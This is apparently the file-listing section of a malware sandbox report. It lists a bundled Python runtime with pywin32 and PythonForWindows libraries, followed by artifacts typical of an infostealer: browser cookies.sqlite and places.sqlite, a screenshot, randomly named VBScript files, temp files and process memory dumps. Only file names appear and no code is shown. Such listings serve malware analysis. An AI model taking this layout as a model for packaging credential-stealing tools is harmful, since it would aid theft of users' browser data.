GetSaveFileName.cpython-310.pyc
NetValidatePasswordPolicy.cpython-310.pyc
OpenEncryptedFileRaw.cpython-310.pyc
RegCreateKeyTransacted.cpython-310.pyc
RegRestoreKey.cpython-310.pyc
SystemParametersInfo.cpython-310.pyc
desktopmanager.cpython-310.pyc
eventLogDemo.cpython-310.pyc
getfilever.cpython-310.pyc
mmapfile_demo.cpython-310.pyc
print_desktop.cpython-310.pyc
rastest.cpython-310.pyc
timer_demo.cpython-310.pyc
win32clipboardDemo.cpython-310.pyc
win32clipboard_bitmapdemo.cpython-310.pyc
win32comport_demo.cpython-310.pyc
win32console_demo.cpython-310.pyc
win32cred_demo.cpython-310.pyc
win32fileDemo.cpython-310.pyc
win32gui_demo.cpython-310.pyc
win32gui_devicenotify.cpython-310.pyc
win32gui_dialog.cpython-310.pyc
win32gui_menu.cpython-310.pyc
win32gui_taskbar.cpython-310.pyc
win32netdemo.cpython-310.pyc
win32rcparser_demo.cpython-310.pyc
win32servicedemo.cpython-310.pyc
win32ts_logoff_disconnected.cpython-310.pyc
winprocess.cpython-310.pyc
setup.cpython-310.pyc
setup.py
ddeclient.cpython-310.pyc
ddeserver.cpython-310.pyc
ddeclient.py
ddeserver.py
desktopmanager.py
eventLogDemo.py
getfilever.py
mmapfile_demo.py
cat.cpython-310.pyc
runproc.cpython-310.pyc
cat.py
runproc.py
print_desktop.py
rastest.py
GetTokenInformation.py
GetTokenInformation.cpython-310.pyc
account_rights.cpython-310.pyc
explicit_entries.cpython-310.pyc
get_policy_info.cpython-310.pyc
list_rights.cpython-310.pyc
localized_names.cpython-310.pyc
lsaregevent.cpython-310.pyc
lsastore.cpython-310.pyc
query_information.cpython-310.pyc
regsave_sa.cpython-310.pyc
regsecurity.cpython-310.pyc
sa_inherit.cpython-310.pyc
security_enums.cpython-310.pyc
set_file_audit.cpython-310.pyc
set_file_owner.cpython-310.pyc
set_policy_info.cpython-310.pyc
setkernelobjectsecurity.cpython-310.pyc
setnamedsecurityinfo.cpython-310.pyc
setsecurityinfo.cpython-310.pyc
setuserobjectsecurity.cpython-310.pyc
account_rights.py
explicit_entries.py
get_policy_info.py
list_rights.py
localized_names.py
lsaregevent.py
lsastore.py
query_information.py
regsave_sa.py
regsecurity.py
sa_inherit.py
security_enums.py
set_file_audit.py
set_file_owner.py
set_policy_info.py
setkernelobjectsecurity.py
setnamedsecurityinfo.py
setsecurityinfo.py
setuserobjectsecurity.py
fetch_url.cpython-310.pyc
simple_auth.cpython-310.pyc
socket_server.cpython-310.pyc
validate_password.cpython-310.pyc
fetch_url.py
simple_auth.py
socket_server.py
validate_password.py
nativePipeTestService.cpython-310.pyc
pipeTestService.cpython-310.pyc
pipeTestServiceClient.cpython-310.pyc
serviceEvents.cpython-310.pyc
nativePipeTestService.py
pipeTestService.py
pipeTestServiceClient.py
serviceEvents.py
timer_demo.py
win32clipboardDemo.py
win32clipboard_bitmapdemo.py
win32comport_demo.py
win32console_demo.py
win32cred_demo.py
win32fileDemo.py
win32gui_demo.py
win32gui_devicenotify.py
win32gui_dialog.py
win32gui_menu.py
win32gui_taskbar.py
win32netdemo.py
win32rcparser_demo.py
win32servicedemo.py
win32ts_logoff_disconnected.py
testwnet.cpython-310.pyc
winnetwk.cpython-310.pyc
testwnet.py
winnetwk.py
winprocess.py
License.txt
winxpgui.cpython-310.pyc
_win32verstamp_pywin32ctypes.cpython-310.pyc
afxres.cpython-310.pyc
commctrl.cpython-310.pyc
mmsystem.cpython-310.pyc
netbios.cpython-310.pyc
ntsecuritycon.cpython-310.pyc
pywin32_bootstrap.cpython-310.pyc
pywin32_testutil.cpython-310.pyc
pywintypes.cpython-310.pyc
rasutil.cpython-310.pyc
regcheck.cpython-310.pyc
regutil.cpython-310.pyc
sspi.cpython-310.pyc
sspicon.cpython-310.pyc
win2kras.cpython-310.pyc
win32con.cpython-310.pyc
win32cryptcon.cpython-310.pyc
win32evtlogutil.cpython-310.pyc
win32gui_struct.cpython-310.pyc
win32inetcon.cpython-310.pyc
win32netcon.cpython-310.pyc
win32pdhquery.cpython-310.pyc
win32pdhutil.cpython-310.pyc
win32rcparser.cpython-310.pyc
win32serviceutil.cpython-310.pyc
win32timezone.cpython-310.pyc
win32traceutil.cpython-310.pyc
win32verstamp.cpython-310.pyc
winerror.cpython-310.pyc
winioctlcon.cpython-310.pyc
winnt.cpython-310.pyc
winperf.cpython-310.pyc
winxptheme.cpython-310.pyc
_win32verstamp_pywin32ctypes.py
afxres.py
commctrl.py
mmsystem.py
netbios.py
ntsecuritycon.py
pywin32_bootstrap.py
pywin32_testutil.py
pywintypes.py
rasutil.py
regcheck.py
regutil.py
sspi.py
sspicon.py
win2kras.py
win32con.py
win32cryptcon.py
win32evtlogutil.py
win32gui_struct.py
win32inetcon.py
win32netcon.py
win32pdhquery.py
win32pdhutil.py
win32rcparser.py
win32serviceutil.py
win32timezone.py
win32traceutil.py
win32verstamp.py
winerror.py
winioctlcon.py
winnt.py
winperf.py
winxptheme.py
ControlService.py
BrandProject.py
BrandProject.cpython-310.pyc
bulkstamp.cpython-310.pyc
vssutil.cpython-310.pyc
bulkstamp.py
vssutil.py
ControlService.cpython-310.pyc
backupEventLog.cpython-310.pyc
h2py.cpython-310.pyc
killProcName.cpython-310.pyc
pywin32_postinstall.cpython-310.pyc
pywin32_testall.cpython-310.pyc
rasutil.cpython-310.pyc
regsetup.cpython-310.pyc
setup_d.cpython-310.pyc
backupEventLog.py
h2py.py
killProcName.py
rasutil.py
regsetup.py
setup_d.py
handles.cpython-310.pyc
test_clipboard.cpython-310.pyc
test_exceptions.cpython-310.pyc
test_odbc.cpython-310.pyc
test_pywintypes.cpython-310.pyc
test_security.cpython-310.pyc
test_sspi.cpython-310.pyc
test_win32api.cpython-310.pyc.2408595504128
test_win32clipboard.cpython-310.pyc
test_win32cred.cpython-310.pyc
test_win32crypt.cpython-310.pyc
test_win32event.cpython-310.pyc
test_win32file.cpython-310.pyc
test_win32gui.cpython-310.pyc
test_win32guistruct.cpython-310.pyc
test_win32inet.cpython-310.pyc
test_win32net.cpython-310.pyc
test_win32pipe.cpython-310.pyc
test_win32print.cpython-310.pyc
test_win32profile.cpython-310.pyc
test_win32rcparser.cpython-310.pyc
test_win32timezone.cpython-310.pyc
test_win32trace.cpython-310.pyc
test_win32ts.cpython-310.pyc
test_win32wnet.cpython-310.pyc
testall.cpython-310.pyc
handles.py
test_clipboard.py
test_exceptions.py
test_odbc.py
test_pywintypes.py
test_security.py
test_sspi.py
test_win32api.py
test_win32clipboard.py
test_win32cred.py
test_win32crypt.py
test_win32event.py
test_win32file.py
test_win32gui.py
test_win32guistruct.py
test_win32inet.py
test_win32net.py
test_win32pipe.py
test_win32print.py
test_win32profile.py
test_win32rcparser.py
test_win32timezone.py
test_win32trace.py
test_win32ts.py
test_win32wnet.py
testall.py
winxpgui.py
__init__.py
__init__.cpython-310.pyc
olectl.cpython-310.pyc
storagecon.cpython-310.pyc
universal.cpython-310.pyc
util.cpython-310.pyc
CLSIDToClass.py
__init__.py
CLSIDToClass.cpython-310.pyc
__init__.cpython-310.pyc
build.cpython-310.pyc
combrowse.cpython-310.pyc
connect.cpython-310.pyc
dynamic.cpython-310.pyc
gencache.cpython-310.pyc
genpy.cpython-310.pyc
makepy.cpython-310.pyc
selecttlb.cpython-310.pyc
tlbrowse.cpython-310.pyc
util.cpython-310.pyc
build.py
combrowse.py
connect.py
dynamic.py
gencache.py
genpy.py
makepy.py
selecttlb.py
tlbrowse.py
util.py
__init__.cpython-310.pyc
connect.cpython-310.pyc
dump_clipboard.cpython-310.pyc
eventsApartmentThreaded.cpython-310.pyc
eventsFreeThreaded.cpython-310.pyc
excelAddin.cpython-310.pyc
excelRTDServer.cpython-310.pyc
iebutton.cpython-310.pyc
ietoolbar.cpython-310.pyc
outlookAddin.cpython-310.pyc
trybag.cpython-310.pyc
connect.py
dump_clipboard.py
eventsApartmentThreaded.py
eventsFreeThreaded.py
excelAddin.py
excelRTDServer.py
iebutton.py
ietoolbar.py
outlookAddin.py
trybag.py
__init__.py
__init__.cpython-310.pyc
makegw.cpython-310.pyc
makegwenum.cpython-310.pyc
makegwparse.cpython-310.pyc
makegw.py
makegwenum.py
makegwparse.py
olectl.py
__init__.py
__init__.cpython-310.pyc
connect.cpython-310.pyc
dispatcher.cpython-310.pyc
exception.cpython-310.pyc
factory.cpython-310.pyc
localserver.cpython-310.pyc
policy.cpython-310.pyc
register.cpython-310.pyc
util.cpython-310.pyc
connect.py
dispatcher.py
exception.py
factory.py
localserver.py
policy.py
register.py
util.py
PythonTools.py
PythonTools.cpython-310.pyc
__init__.cpython-310.pyc
dictionary.cpython-310.pyc
interp.cpython-310.pyc
perfmon.cpython-310.pyc
test_pycomtest.cpython-310.pyc
dictionary.py
interp.py
perfmon.py
test_pycomtest.py
storagecon.py
GenTestScripts.py
__init__.py
GenTestScripts.cpython-310.pyc
__init__.cpython-310.pyc
daodump.cpython-310.pyc
errorSemantics.cpython-310.pyc
pippo_server.cpython-310.pyc
policySemantics.cpython-310.pyc
testADOEvents.cpython-310.pyc
testAXScript.cpython-310.pyc
testAccess.cpython-310.pyc
testArrays.cpython-310.pyc
testClipboard.cpython-310.pyc
testCollections.cpython-310.pyc
testConversionErrors.cpython-310.pyc
testDCOM.cpython-310.pyc
testDates.cpython-310.pyc
testDictionary.cpython-310.pyc
testDynamic.cpython-310.pyc
testExchange.cpython-310.pyc
testExplorer.cpython-310.pyc
testGIT.cpython-310.pyc
testGatewayAddresses.cpython-310.pyc
testIterators.cpython-310.pyc
testMSOffice.cpython-310.pyc
testMSOfficeEvents.cpython-310.pyc
testMarshal.cpython-310.pyc
testPersist.cpython-310.pyc
testPippo.cpython-310.pyc
testPyComTest.cpython-310.pyc
testROT.cpython-310.pyc
testServers.cpython-310.pyc
testShell.cpython-310.pyc
testStorage.cpython-310.pyc
testStreams.cpython-310.pyc
testWMI.cpython-310.pyc
testall.cpython-310.pyc
testmakepy.cpython-310.pyc
testvb.cpython-310.pyc
testvbscript_regexp.cpython-310.pyc
testxslt.cpython-310.pyc
util.cpython-310.pyc
daodump.py
errorSemantics.py
pippo_server.py
policySemantics.py
testADOEvents.py
testAXScript.py
testAccess.py
testArrays.py
testClipboard.py
testCollections.py
testConversionErrors.py
testDCOM.py
testDates.py
testDictionary.py
testDynamic.py
testExchange.py
testExplorer.py
testGIT.py
testGatewayAddresses.py
testIterators.py
testMSOffice.py
testMSOfficeEvents.py
testMarshal.py
testPersist.py
testPippo.py
testPyComTest.py
testROT.py
testServers.py
testShell.py
testStorage.py
testStreams.py
testWMI.py
testall.py
testmakepy.py
testvb.py
testvbscript_regexp.py
testxslt.py
util.py
universal.py
util.py
__init__.py
__init__.cpython-310.pyc
adsicon.cpython-310.pyc
adsicon.py
objectPicker.cpython-310.pyc
scp.cpython-310.pyc
search.cpython-310.pyc
test.cpython-310.pyc
objectPicker.py
scp.py
search.py
test.py
__init__.py
__init__.cpython-310.pyc
EditSecurity.py
EditServiceSecurity.py
EditSecurity.cpython-310.pyc
EditServiceSecurity.cpython-310.pyc
__init__.cpython-310.pyc
__init__.cpython-310.pyc
adb.cpython-310.pyc
codecontainer.cpython-310.pyc
contexts.cpython-310.pyc
debugger.cpython-310.pyc
documents.cpython-310.pyc
dump.cpython-310.pyc
expressions.cpython-310.pyc
gateways.cpython-310.pyc
stackframe.cpython-310.pyc
util.cpython-310.pyc
adb.py
codecontainer.py
contexts.py
debugger.py
documents.py
dump.py
expressions.py
gateways.py
stackframe.py
util.py
__init__.cpython-310.pyc
asputil.cpython-310.pyc
asputil.py
__init__.py
__init__.cpython-310.pyc
debug.cpython-310.pyc
error.cpython-310.pyc
framework.cpython-310.pyc
pydumper.cpython-310.pyc
pyscript.cpython-310.pyc
pyscript_rexec.cpython-310.pyc
scriptdispatch.cpython-310.pyc
debug.py
error.py
framework.py
pydumper.py
pyscript.py
pyscript_rexec.py
scriptdispatch.py
pycom_blowing.gif
__init__.cpython-310.pyc
axsite.cpython-310.pyc
axsite.py
leakTest.cpython-310.pyc
testHost.cpython-310.pyc
testHost4Dbg.cpython-310.pyc
leakTest.py
testHost.py
testHost4Dbg.py
__init__.cpython-310.pyc
show_all_jobs.cpython-310.pyc
test_bits.cpython-310.pyc
show_all_jobs.py
test_bits.py
__init__.py
__init__.cpython-310.pyc
__init__.py
__init__.cpython-310.pyc
ds_record.cpython-310.pyc
ds_test.cpython-310.pyc
ds_record.py
ds_test.py
__init__.py
__init__.cpython-310.pyc
ifiltercon.cpython-310.pyc
filterDemo.cpython-310.pyc
filterDemo.py
ifiltercon.py
__init__.cpython-310.pyc
inetcon.cpython-310.pyc
inetcon.py
MAPIStubLibrary-License.txt
__init__.py
__init__.cpython-310.pyc
emsabtags.cpython-310.pyc
mapitags.cpython-310.pyc
mapiutil.cpython-310.pyc
mapisend.cpython-310.pyc
mapisend.py
emsabtags.py
mapitags.py
mapiutil.py
__init__.py
__init__.cpython-310.pyc
pscon.cpython-310.pyc
pscon.py
testpropsys.cpython-310.pyc
testpropsys.py
__init__.cpython-310.pyc
shellcon.cpython-310.pyc
IActiveDesktop.py
IFileOperationProgressSink.py
IShellLinkDataList.py
ITransferAdviseSink.py
IUniformResourceLocator.py
IActiveDesktop.cpython-310.pyc
IFileOperationProgressSink.cpython-310.pyc
IShellLinkDataList.cpython-310.pyc
ITransferAdviseSink.cpython-310.pyc
IUniformResourceLocator.cpython-310.pyc
browse_for_folder.cpython-310.pyc
create_link.cpython-310.pyc
dump_link.cpython-310.pyc
explorer_browser.cpython-310.pyc
shellexecuteex.cpython-310.pyc
viewstate.cpython-310.pyc
walk_shell_folders.cpython-310.pyc
browse_for_folder.py
create_link.py
dump_link.py
explorer_browser.py
column_provider.cpython-310.pyc
context_menu.cpython-310.pyc
copy_hook.cpython-310.pyc
empty_volume_cache.cpython-310.pyc
folder_view.cpython-310.pyc
icon_handler.cpython-310.pyc
shell_view.cpython-310.pyc
column_provider.py
context_menu.py
copy_hook.py
empty_volume_cache.py
folder_view.py
icon_handler.py
shell_view.py
shellexecuteex.py
viewstate.py
walk_shell_folders.py
shellcon.py
testSHFileOperation.cpython-310.pyc
testShellFolder.cpython-310.pyc
testShellItem.cpython-310.pyc
testSHFileOperation.py
testShellFolder.py
testShellItem.py
__init__.cpython-310.pyc
test_addtask.cpython-310.pyc
test_addtask_1.cpython-310.pyc
test_addtask_2.cpython-310.pyc
test_localsystem.cpython-310.pyc
test_addtask.py
test_addtask_1.py
test_addtask_2.py
test_localsystem.py
__init__.py
__init__.cpython-310.pyc
alpc.cpython-310.pyc
com.cpython-310.pyc
dbgprint.cpython-310.pyc
hooks.cpython-310.pyc
injection.cpython-310.pyc
pe_parse.cpython-310.pyc
pipe.cpython-310.pyc
pycompat.cpython-310.pyc
remotectypes.cpython-310.pyc
security.cpython-310.pyc
syswow64.cpython-310.pyc
test.cpython-310.pyc
wintrust.cpython-310.pyc
alpc.py
com.py
__init__.py
__init__.cpython-310.pyc
binary_string_conversion.cpython-310.pyc
catalog.cpython-310.pyc
certificate.cpython-310.pyc
cryptmsg.cpython-310.pyc
dpapi.cpython-310.pyc
encrypt_decrypt.cpython-310.pyc
generation.cpython-310.pyc
sign_verify.cpython-310.pyc
binary_string_conversion.py
catalog.py
certificate.py
cryptmsg.py
dpapi.py
encrypt_decrypt.py
generation.py
sign_verify.py
dbgprint.py
__init__.py
__init__.cpython-310.pyc
breakpoints.cpython-310.pyc
debugger.cpython-310.pyc
localdbg.cpython-310.pyc
symboldbg.cpython-310.pyc
symbols.cpython-310.pyc
breakpoints.py
debugger.py
localdbg.py
symboldbg.py
symbols.py
__init__.py
__init__.cpython-310.pyc
auto_doc_tst.cpython-310.pyc
flag.cpython-310.pyc
interfaces.cpython-310.pyc
meta.cpython-310.pyc
ntstatus.cpython-310.pyc
windef.cpython-310.pyc
winerror.cpython-310.pyc
winfuncs.cpython-310.pyc
winstructs.cpython-310.pyc
auto_doc_tst.py
flag.py
interfaces.py
meta.py
ntstatus.py
windef.py
winerror.py
winfuncs.py
winstructs.py
hooks.py
injection.py
__init__.py
__init__.cpython-310.pyc
cpuid.cpython-310.pyc
native_function.cpython-310.pyc
nativeutils.cpython-310.pyc
simple_arm64.cpython-310.pyc
simple_x64.cpython-310.pyc
simple_x86.cpython-310.pyc
cpuid.py
native_function.py
nativeutils.py
simple_arm64.py
simple_x64.py
simple_x86.py
pe_parse.py
pipe.py
pycompat.py
remotectypes.py
__init__.py
__init__.cpython-310.pyc
client.cpython-310.pyc
epmapper.cpython-310.pyc
ndr.cpython-310.pyc
stubborn.cpython-310.pyc
client.py
epmapper.py
ndr.py
stubborn.py
security.py
syswow64.py
test.py
__init__.py
__init__.cpython-310.pyc
improved_buffer.cpython-310.pyc
pythonutils.cpython-310.pyc
winutils.cpython-310.pyc
improved_buffer.py
pythonutils.py
winutils.py
__init__.cpython-310.pyc
apisetmap.cpython-310.pyc
bits.cpython-310.pyc
device_manager.cpython-310.pyc
event_log.cpython-310.pyc
event_trace.cpython-310.pyc
exception.cpython-310.pyc
file.cpython-310.pyc
handle.cpython-310.pyc
hyperv.cpython-310.pyc
network.cpython-310.pyc
object_manager.cpython-310.pyc
process.cpython-310.pyc
registry.cpython-310.pyc
service.cpython-310.pyc
system.cpython-310.pyc
system_module.cpython-310.pyc
task_scheduler.cpython-310.pyc
token.cpython-310.pyc
volume.cpython-310.pyc
wmi.cpython-310.pyc
apisetmap.py
bits.py
device_manager.py
event_log.py
event_trace.py
exception.py
file.py
handle.py
hyperv.py
network.py
object_manager.py
process.py
registry.py
service.py
system.py
system_module.py
task_scheduler.py
token.py
volume.py
wmi.py
__init__.py
__init__.cpython-310.pyc
apiproxy.cpython-310.pyc
error.cpython-310.pyc
apiproxy.py
__init__.py
__init__.cpython-310.pyc
advapi32.cpython-310.pyc
cfgmgr32.cpython-310.pyc
crypt32.cpython-310.pyc
cryptui.cpython-310.pyc
dbghelp.cpython-310.pyc
dnsapi.cpython-310.pyc
iphlpapi.cpython-310.pyc
kernel32.cpython-310.pyc
ktmw32.cpython-310.pyc
ncrypt.cpython-310.pyc
netapi32.cpython-310.pyc
ntdll.cpython-310.pyc
ole32.cpython-310.pyc
oleacc.cpython-310.pyc
oleaut32.cpython-310.pyc
psapi.cpython-310.pyc
setupapi.cpython-310.pyc
shell32.cpython-310.pyc
shlwapi.cpython-310.pyc
tdh.cpython-310.pyc
user32.cpython-310.pyc
version.cpython-310.pyc
virtdisk.cpython-310.pyc
wevtapi.cpython-310.pyc
winhttp.cpython-310.pyc
wininet.cpython-310.pyc
wintrust.cpython-310.pyc
ws2_32.cpython-310.pyc
advapi32.py
cfgmgr32.py
crypt32.py
cryptui.py
dbghelp.py
dnsapi.py
iphlpapi.py
kernel32.py
ktmw32.py
ncrypt.py
netapi32.py
ntdll.py
ole32.py
oleacc.py
oleaut32.py
psapi.py
setupapi.py
shell32.py
shlwapi.py
tdh.py
user32.py
version.py
virtdisk.py
wevtapi.py
winhttp.py
wininet.py
wintrust.py
ws2_32.py
error.py
wintrust.py
site.py
stat.py
types.py
typing.py
parse.cpython-310.pyc.1752386632368
request.cpython-310.pyc.2438437374832
warnings.py
ElementTree.cpython-310.pyc.2438442384112
__init__.cpython-310.pyc.2038673341248
handler.cpython-310.pyc.2038673293360
saxutils.cpython-310.pyc.2038673619200
xmlreader.cpython-310.pyc.2038672383376
__init__.cpython-310.pyc.2438445995552
client.cpython-310.pyc.2438445995696
pywin32_postinstall.cpython-310.pyc
pywin32_testall.cpython-310.pyc
pywin32_postinstall.exe
pywin32_postinstall.py
pywin32_testall.py
VCRUNTIME140.dll
distutils-precedence.pth
__init__.py
python.exe
python310.dll
__PSScriptPolicyTest_bmcvzjkg.0iw.ps1
cookies.sqlite
pycryptodome-4.4.0-cp39-abi3-win_amd64.whl
pywin32-312-cp310-cp310-win_amd64.whl
psutil-7.2.2-cp37-abi3-win_amd64.whl
pythonforwindows-1.0.4-py3-none-any.whl
places.sqlite
screenshot_1794055901130.png
sysZxammz256.vbs
winJaxmalz0.vbs
74bdf372f3d845193f395b9ba4ed91510cd09dc32621fc25fe02568d_9suk95g.tmp
dfb01473a0c6643a17aa53ed6dde70bc7040759ecbd5162e09026156ajt5r4ti.tmp
e16aff1a3f121e44b7a7d104d7cf73a008a55e8e7b9ee657c267f5a780ovu67m.tmp
memory/4888-10-0x0000020FFB600000-0x0000020FFB622000-memory.dmp
memory/5732-12453-0x00000269F25C0000-0x00000269F2673000-memory.dmp
memory/5732-12452-0x00000269F25A0000-0x00000269F25BC000-memory.dmp
memory/5732-12454-0x00000269F2520000-0x00000269F252A000-memory.dmp
memory/5732-12455-0x00000269F26A0000-0x00000269F26BC000-memory.dmp
memory/5732-12456-0x00000269F2680000-0x00000269F268A000-memory.dmp
memory/5732-12457-0x00000269F26E0000-0x00000269F26FA000-memory.dmp
memory/5732-12459-0x00000269F26C0000-0x00000269F26C6000-memory.dmp
memory/5732-12458-0x00000269F2690000-0x00000269F2698000-memory.dmp
memory/5732-12460-0x00000269F26D0000-0x00000269F26DA000-memory.dmp